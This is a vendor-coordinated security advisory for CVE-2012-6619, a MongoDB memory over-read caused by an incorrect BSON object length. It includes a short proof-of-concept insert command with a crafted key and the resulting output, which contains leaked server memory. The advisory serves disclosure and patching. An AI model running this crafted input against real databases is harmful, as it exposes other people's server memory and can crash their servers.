CVE-2012-6619: MongoDB memory over-read via incorrect BSON object length

Vulnerabilities
,

Vulnerable software

MongoDB
Version: 2.x and earlier

Application link:
http://www.mongodb.org/

Severity level

Severity level: Medium
Impact: Server arbitrary memory reading
Access Vector: Remote

CVSS v2:
Base Score: 6.4
Vector: (AV:N/AC:L/Au:N/C:P/I:N/A:P)

CVE: CVE-2012-6619

Software description

MongoDB is an open-source document-centric database management system (DBMS) that do not require description of scheme of tables.

Vulnerability description

The specialists of the Positive Research center have detected “Server arbitrary memory reading” vulnerability in MongoDB application.

The default configuration for MongoDB before 2.3.2 does not validate objects, which allows remote authenticated users to cause a denial of service (crash) or read system memory via a crafted BSON object in the column name in an insert command, which triggers a buffer over-read.

Cause of incorrect execution of BSON-document length in column name in the insert command it’s possible to insert a record which can contain a base64-encrypted server memory chunks.

Example of use:

Suppose you have a table “dropme” with write permission.

Execute the following command with a result:

1
2
3
4
5
> db.dropme.insert(
{"\x16\x00\x00\x00\x05hello\x00\x010\x00\x00\x00world\x00\x00" : "world"}
)
> db.dropme.find()
{ "_id" : ObjectId("50857a4663944834b98eb4cc"), "" : null, "hello" : BinData(0,"d29ybGQAAAAACREAAAAQ/4wJSCCPCeyFjQkRAAAAAAAAAAAAWbcQAAAAMQAAAAEAAABgcicICAAAAAcAAACgKo0JABw5NAMAAAAAAAAAAAAAAMQ3jAlmAGkAQQAAAEIAaQBuAEQAYQB0AGEAKAAxADEAOQAsACIAYgAzAEoAcwBaAEEAQQBBAEEAQQBBAD0AIgApAAAAdABSAFEAAAAiAGgAZQBsAGwAbwAiACAAOgAgAEIAaQBuAEQAYQB0AGEAKAAxADEAOQAsAC...........................ACkALAAgACIAFg==") }

After base64-code decryption you can get bytes from random server memory chunks.

How to fix

Update your software up to the latest version

Advisory status

10.09.2012 - Vendor gets vulnerability details
13.02.2013 - Vendor releases fixed version and details
10.07.2013 - Public disclosure

Credits

The vulnerability was detected by Mikhail Firstov, Positive Research Center (Positive Technologies Company)

References

https://www.ptsecurity.com/ww-en/analytics/threatscape/pt-2012-40/

Reports on the vulnerabilities previously discovered by Positive Research:

http://ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/